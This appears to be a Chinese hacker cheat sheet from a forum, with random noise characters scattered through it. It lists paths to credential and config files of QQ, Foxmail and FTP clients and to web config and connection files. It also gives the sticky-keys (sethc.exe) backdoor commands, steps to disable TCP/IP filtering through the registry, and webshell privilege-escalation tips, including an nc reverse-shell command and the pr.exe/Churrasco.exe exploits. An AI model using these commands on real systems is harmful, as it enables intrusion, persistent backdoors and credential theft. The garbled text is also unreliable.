% P2 C- K" Q& _" EC:\Program Files\Apache Group\Apache2\bin\Apache.exe
/usr/local/tomcat5527/bin/version.sh
/usr/share/tomcat6/bin/startup.sh
/usr/tomcat6/bin/startup.sh
c:\Program Files\QQ2007\qq.exe
c:\Program Files\Tencent\qq\User.db
7 A& z: r( K: }4 V. bc:\Program Files\Tencent\qq\qq.exe
c:\Program Files\Tencent\qq\bin\qq.exe
c:\Program Files\Tencent\qq2009\qq.exe
c:\Program Files\Tencent\qq2008\qq.exe
c:\Program Files\Tencent\qq2010\bin\qq.exe
2 l. b! t$ Z: P% b5 w4 Y' V& R3 S6 Wc:\Program Files\Tencent\qq\Users\All Users\Registry.db
4 \& C( q) j+ S) Q, PC:\Program Files\Tencent\TM\TMDlls\QQZip.dll
c:\Program Files\Tencent\Tm\Bin\Txplatform.exe
c:\Program Files\Tencent\RTXServer\AppConfig.xml
C:\Program Files\Foxmal\Foxmail.exe
, `  O: r. g( S- YC:\Program Files\Foxmal\accounts.cfg
$ |) S: \2 I' t) U, \" EC:\Program Files\tencent\Foxmal\Foxmail.exe
( B7 W, b2 \4 T' T! y! }  ]$ EC:\Program Files\tencent\Foxmal\accounts.cfg
% r0 N- c1 }3 T. L( lC:\Program Files\LeapFTP 3.0\LeapFTP.exe
; W6 @3 A# H! hC:\Program Files\LeapFTP\LeapFTP.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
- k) j5 B2 Q( Y" sc:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
C:\Program Files\FlashFXP\FlashFXP.ini
' x: A; o" _) X) b1 z$ UC:\Program Files\FlashFXP\flashfxp.exe
c:\Program Files\Oracle\bin\regsvr32.exe
c:\Program Files\腾讯游戏\QQGAME\readme.txt
5 F/ Z- P) C  p! Kc:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
( U0 B. f! Y( S2 ?& w+ G/ uc:\Program Files\tencent\QQGAME\readme.txt
8 a* c( [( C% }! cC:\Program Files\StormII\Storm.exe
# Q8 ^, x0 z; G! W6 F* d8 m+ G
3.网站相对路径:
$ j5 U2 o# _% o6 e
/config.php
$ m, |( a' [3 s/ J../../config.php
0 s* w& x0 v$ `# ?: X../config.php
) o* w* J4 s! W+ J3 X2 A../../../config.php
/config.inc.php
0 O0 v- g8 {1 G4 f2 A8 R' |" b./config.inc.php
( B6 N- e% c8 K# i../../config.inc.php
../config.inc.php
../../../config.inc.php
/conn.php
+ K  q( X; k6 J8 i./conn.php
../../conn.php
../conn.php
$ F: Z% y6 n5 Z/ s; R../../../conn.php
/conn.asp
./conn.asp
) j  O# b5 A5 n, R* ^../../conn.asp
5 q4 X; z* K  {- g1 n" k) M9 X../conn.asp
../../../conn.asp
/config.inc.php
6 W' w' s2 P8 ~0 I( w) l0 o./config.inc.php
; A0 ^6 F5 {* G6 _) ~' D7 o" k* m../../config.inc.php
../config.inc.php
../../../config.inc.php
/config/config.php
../../config/config.php
$ c+ G! \4 j( D8 P  _0 E+ b../config/config.php
5 q) S% t- Z& F  J+ F! h7 m5 K( V, T: G../../../config/config.php
/config/config.inc.php
+ n4 Y* U2 w1 R" {./config/config.inc.php
4 g/ F9 P& Z" [; O0 _5 j: x../../config/config.inc.php
- G3 ~  m" X. ]) A& J% ]! C../config/config.inc.php
../../../config/config.inc.php
/config/conn.php
( |5 M5 E. i; c# L: e./config/conn.php
../../config/conn.php
../config/conn.php
( ]- I& y. `/ }% R../../../config/conn.php
- x3 p* h: }/ C9 i8 o% W" c/config/conn.asp
./config/conn.asp
. ^8 Q- U' R  c../../config/conn.asp
../config/conn.asp
- X; E9 R* w- F! Z% b../../../config/conn.asp
/config/config.inc.php
./config/config.inc.php
../../config/config.inc.php
../config/config.inc.php
2 Y' _; ]  }6 K+ Y" {& H2 a../../../config/config.inc.php
/data/config.php
../../data/config.php
: l. Y% }4 r0 N# b../data/config.php
! z# M( u$ T. s, k7 \, J../../../data/config.php
/data/config.inc.php
% K! r: E% s+ }/ X& |4 z- p./data/config.inc.php
: c% Q0 W/ f/ w  g../../data/config.inc.php
1 s0 G3 r- G$ ^( S0 t../data/config.inc.php
../../../data/config.inc.php
0 Q: f- ]8 {; R' \; x1 _/data/conn.php
5 S9 b  |9 O/ O. B8 j( ], {% q3 ]) \./data/conn.php
- ~& Z- {- \' V8 B../../data/conn.php
../data/conn.php
../../../data/conn.php
9 A2 T4 z, A9 F! X8 [* I/data/conn.asp
: D0 s& z2 i7 k# Y5 o& n$ j./data/conn.asp
8 P6 a2 w  X* \$ g1 E6 J../../data/conn.asp
../data/conn.asp
../../../data/conn.asp
7 K1 \8 n4 G$ G/data/config.inc.php
* s1 \% g% x& F. B9 \/ G6 t9 O./data/config.inc.php
$ J% T2 L: f4 W- d4 r8 d../../data/config.inc.php
3 u/ L& H; w; {4 [- Y7 Q6 R../data/config.inc.php
+ ?5 O4 {5 ?; @! [6 ?../../../data/config.inc.php
5 m8 O% y  q4 |% {& `/include/config.php
$ h, Y% q" J3 T8 H' R& u../../include/config.php
../include/config.php
../../../include/config.php
+ z% O; P' u! }# f/include/config.inc.php
" P7 x0 l( i) j+ q7 Y+ v./include/config.inc.php
' J! j& m& p& z8 I4 m../../include/config.inc.php
../include/config.inc.php
../../../include/config.inc.php
/include/conn.php
. m: t: E* R% d: T' ]./include/conn.php
../../include/conn.php
4 e$ j( g, z) }  D../include/conn.php
# ?4 E4 E' s9 ~# X; o! f../../../include/conn.php
2 A$ C: ~; |8 f$ ]  f/include/conn.asp
7 r. J) h! m7 K* \$ U7 p./include/conn.asp
; j' p/ F. \4 W6 m; |8 }../../include/conn.asp
7 @2 e- m! W- ]../include/conn.asp
../../../include/conn.asp
0 j% N* \' i( _* A$ o/include/config.inc.php
( ~2 j  t4 [' S5 \) q. [' R$ y./include/config.inc.php
: {  U0 L* _; y0 a$ s  n4 \, c* r( X+ }../../include/config.inc.php
../include/config.inc.php
../../../include/config.inc.php
/ C- s+ R" U/ J( c/inc/config.php
" |" L+ d/ p" @. ~7 H../../inc/config.php
../inc/config.php
8 c, ]! {% Z* B6 ]  X( A% ~../../../inc/config.php
/inc/config.inc.php
./inc/config.inc.php
../../inc/config.inc.php
../inc/config.inc.php
../../../inc/config.inc.php
/inc/conn.php
% n* H: T% K3 \5 ^6 G- B./inc/conn.php
../../inc/conn.php
" i7 N& y# e3 f../inc/conn.php
3 r* O* `& j: u# s../../../inc/conn.php
/inc/conn.asp
! z4 k5 y& b% t4 T./inc/conn.asp
: W% f9 S# S; S1 p../../inc/conn.asp
# a1 ^  P! f6 F" u../inc/conn.asp
; N/ E0 J8 Q# D$ w) [" u../../../inc/conn.asp
/ E8 F/ J6 ^) B/inc/config.inc.php
& n) D( Q( h( x# [./inc/config.inc.php
5 D7 E& L5 f0 `, G1 \$ r../../inc/config.inc.php
../inc/config.inc.php
../../../inc/config.inc.php
/index.php
% M2 @: ~6 s/ @( Y" K8 s./index.php
9 U( k1 ?0 T) G& {% z../../index.php
../index.php
../../../index.php
/index.asp
, s8 `4 ^6 w# r# }./index.asp
../../index.asp
../index.asp
9 }$ ^1 ?% {, B../../../index.asp
- }+ |2 e2 X+ ?/ j4 y" x5 C$ \# H替换SHIFT后门
" B& _# [1 ~! M+ r; m7 A" [) b6 P. ]　attrib c:\windows\system32\sethc.exe -h -r -s
  R0 m# ^# `3 U) K( ]; S, m
　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s

3 A! }$ M5 M  g7 m' H5 v　　del c:\windows\system32\sethc.exe

4 j7 i) L; B0 a: q9 i+ ~, g1 q- B　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
! ]2 b) W8 E8 m# s$ A+ u
　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
6 E% S: @5 ]! J4 ?$ E; ?% e
　　attrib c:\windows\system32\sethc.exe +h +r +s

　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
, M5 _4 Q, U3 }1 O; }& K去除TCPIP筛选
% i9 @- X9 b( W) M+ gTCP/IP筛选在注册表里有三处，分别是：
: P0 D- E% q* u, ]7 y/ d: |HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
/ W: Z4 Z6 I/ G) [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
+ k7 P' m; T! L6 X, ]7 HHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip

分别用
regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
( V' K( |5 |9 B/ W: @2 x. mregedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
1 J3 ?$ I9 `0 f" B! `% M: }4 Lregedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
命令来导出注册表项

然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000

再将以上三个文件分别用
/ F% E, h4 f) W$ r) o! Yregedit -s D:\a.reg
6 _$ \! F- r* ]7 o1 x/ c4 jregedit -s D:\b.reg
regedit -s D:\c.reg
; b) d* d$ k6 t2 X# B/ ]导入注册表即可

webshell提权小技巧
cmd路径:
3 g5 p* H" ]+ l' Tc:\windows\temp\cmd.exe
nc也在同目录下
3 A- y4 Q- X" D  D" ~6 d! \例如反弹cmdshell：
"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
$ c7 z' j2 f& e4 t. F; `7 f通常都不会成功。

% |: R: P' D! c# C5 L而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
: s! P! i9 u% ^, `2 O命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
却能成功。。
& r7 ?9 B: O8 c9 l# L/ y这个不是重点
我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功